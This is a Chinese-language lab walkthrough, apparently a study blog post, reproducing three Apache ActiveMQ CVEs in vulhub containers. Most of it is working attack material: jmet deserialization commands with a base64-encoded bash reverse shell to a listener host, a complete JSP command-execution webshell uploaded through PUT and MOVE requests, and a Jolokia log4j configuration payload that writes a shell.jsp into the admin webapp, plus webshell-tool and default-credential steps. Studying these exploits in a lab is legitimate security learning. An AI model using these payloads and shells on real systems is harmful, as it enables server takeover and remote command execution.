ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信,WEB管理页面默认端口为8161。
CVE-2015-5254
受影响版本:5.13.0之前5.x版本
漏洞说明:
复现过程:采用vulhub搭建环境
cd activemq/CVE-2015-5254
docker-compose up -d
使用jmet进行漏洞利用,下载地址
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
与下载的jmet在同目录下执行
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/onetest" -Yp ROME 你的activemqIP 61616
然后访问actveMQ的WEB管理页面(默认端口是8168,默认登录账号密码是admin、admin)可以在activeMQ上看到创建的消息队列,点击该消息队列触发反序列化漏洞。
进入docker服务中可以看到在tmp下创建了一个名为onetest文件
命令:docker exec -it 服务名称(docker ps可以看到) /bin/bash
接下来可以使用命令反弹shell到kali上
现在kali上 使用nc -lvvnp 9999进行监听
反弹shell命令:bash -i >& /dev/tcp/192.168.101.6/9999 0>&1
需要经过base64编码后
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS42Lzk5OTkgMD4mMQ==
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS42Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.101.5 61616
同上步骤,在WEB上点击消息队列,可以在kali上看到弹回的shell
完成,删除环境。
docker stop name
docker rm name
docker rmi ID
CVE-2016-3088
受影响版本:5.x~5.14.0
漏洞说明:ActiveMQ的web控制台分三个应用,admin、api和fileserver,admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录,fileserver无需登录。漏洞出现在fileserver应用中,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以采用PUT请求写入文件,再通过MOVE请求移动文件到任意位置,使其可以进行解析。
开始复现。一样,直接采用vulhub启动环境。
cd activemq/CVE-2016-3088/
docker-compos up -d
访问yourip:8168/admin/test/systemProperties.jsp可以访问activeMQ的绝对路径
打开burp刷新页面,抓个包留着后续使用
网上随便找个JSP马子
<%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>一句话木马</title> </head> <body> <% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine())!=null){ response.getWriter().print(line); } %> </body> </html>
修改请求数据包,使用PUT请求写文件
PUT /fileserver/123.jsp
访问一下 /fileserver/123.jsp看看,跟我们前面说的一样,写入文件了但是没有解析
再使用MOVE请求移动一下文件到api或者admin下让它解析
Destination:file:///opt/activemq/webapps/admin/123.jsp
测试一下我们的马子http://xxxx:port/admin/123.jsp?cmd=ls可以看到成功访问
上哥斯拉geshell,生成马子
重复上面的步骤,先PUT 再MOVE 然后哥斯拉连接(注意开头所说的admin需要登录访问,所以需要给哥斯拉配置请求头)
测试一下连接
恭喜,又shell了一台服务器
CVE-2022-41678
受影响版本:
<5.16.6版本
5.17.0 ~5.17.4(不包括5.17.4版本)
漏洞说明:该漏洞存在于ActiveMQ配置中,经过身份验证的攻击者可利用该漏洞,通过Jolokia服务发送特制的HTTP请求写入恶意文件,进而实现远程代码执行。
vulhub启动环境
cd /activemq/CVE-2022-41678
docker-compose up -d
1.访问获取Mbean值,老方法,刷新页面抓个包,修改下访问/api/jolokia/list,提示需要添加Oririn,给它加上之后就可以获取了
2.构造payload POST请求提交,XML值在vulhub中的poc.py中已经给出,poc中evil_template内容就是XML ,需要采用\ 和\n进行转义,可以找GPT代劳一下
{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}
XML:
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<Configuration>\n
<Appenders>\n
<Console name=\"Console\" target=\"SYSTEM_OUT\">\n
<PatternLayout pattern=\"%5p | %m%n\"/>\n
</Console>\n
<RollingRandomAccessFile name=\"RollingFile\" fileName=\"${sys:activemq.data}/../webapps/admin/shell.jsp\" \n
filePattern=\"${sys:activemq.data}/../webapps/admin/shell.jsp.%i\">\n
<PatternLayout pattern=\"%d | %-5p | %m | %c | %t%n%throwable{full}\"/>\n
<Policies>\n
<SizeBasedTriggeringPolicy size=\"1MB\"/>\n
</Policies>\n
</RollingRandomAccessFile>\n
<RollingRandomAccessFile name=\"AuditLog\" fileName=\"${sys:activemq.data}/audit.log\" filePattern=\"${sys:activemq.data}/audit.log.%i\">\n
<PatternLayout pattern=\"%-5p | %m | %t%n\"/>\n
<Policies>\n
<SizeBasedTriggeringPolicy size=\"1MB\"/>\n
</Policies>\n
</RollingRandomAccessFile>\n
</Appenders>\n
<Loggers>\n
<Root level=\"INFO\">\n
<AppenderRef ref=\"Console\"/>\n
<AppenderRef ref=\"RollingFile\"/>\n
</Root>\n
<Logger name=\"org.apache.activemq.spring\" level=\"WARN\"/>\n
<Logger name=\"org.apache.activemq.web.handler\" level=\"WARN\"/>\n
<Logger name=\"org.springframework\" level=\"WARN\"/>\n
<Logger name=\"org.apache.xbean\" level=\"WARN\"/>\n
<Logger name=\"org.eclipse.jetty\" level=\"DEBUG\"/>\n
<Logger name=\"org.apache.activemq.audit\" level=\"INFO\" additivity=\"false\">\n
<AppenderRef ref=\"AuditLog\"/>\n
</Logger>\n
<!-- Uncomment and modify as needed for ActiveMQ logger\n
<Logger name=\"org.apache.activemq\" level=\"DEBUG\"/>\n
-->\n
</Loggers>\n
</Configuration>\n
3.返回200漏洞存在
4.进行注入
最后一步与前面第二步骤一样,XML内容需要替换成POC中的original_template
一样,找GPT转义一下"和换行
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<Configuration>
<Appenders>
<Console name=\"Console\" target=\"SYSTEM_OUT\">
<PatternLayout pattern=\"%5p | %m%n\"/>
</Console>
<RollingRandomAccessFile name=\"RollingFile\" fileName=\"${sys:activemq.data}/activemq.log\"
filePattern=\"${sys:activemq.data}/activemq.log.%i\">
<PatternLayout pattern=\"%d | %-5p | %m | %c | %t%n%throwable{full}\"/>
<Policies>
<SizeBasedTriggeringPolicy size=\"1MB\"/>
</Policies>
</RollingRandomAccessFile>
<RollingRandomAccessFile name=\"AuditLog\" fileName=\"${sys:activemq.data}/audit.log\" filePattern=\"${sys:activemq.data}/audit.log.%i\">
<PatternLayout pattern=\"%-5p | %m | %t%n\"/>
<Policies>
<SizeBasedTriggeringPolicy size=\"1MB\"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level=\"INFO\">
<AppenderRef ref=\"Console\"/>
<AppenderRef ref=\"RollingFile\"/>
</Root>
<Logger name=\"org.apache.activemq.spring\" level=\"WARN\"/>
<Logger name=\"org.apache.activemq.web.handler\" level=\"WARN\"/>
<Logger name=\"org.springframework\" level=\"WARN\"/>
<Logger name=\"org.apache.xbean\" level=\"WARN\"/>
<Logger name=\"org.eclipse.jetty\" level=\"WARN\"/>
<Logger name=\"org.apache.activemq.audit\" level=\"INFO\" additivity=\"false\">
<AppenderRef ref=\"AuditLog\"/>
</Logger>
<!-- Uncomment and modify as needed for ActiveMQ logger\n
<Logger name=\"org.apache.activemq\" level=\"DEBUG\"/>\n
-->
</Loggers>
</Configuration>
返回200,写入成功,访问/admin/shell.jsp?cmd=ls 可以看到命令执行结果
哥斯拉连接。在第三步的写入的User-Agent替换成哥斯拉生成shell就行了(注意空格换行的问题)
POC
python3 poc.py -u admin -p admin --exploit jfr http://192.168.101.5:8161
后续想把webshell的类型改一下的,还有一个CVE-2023-46604,后续学习再继续更新。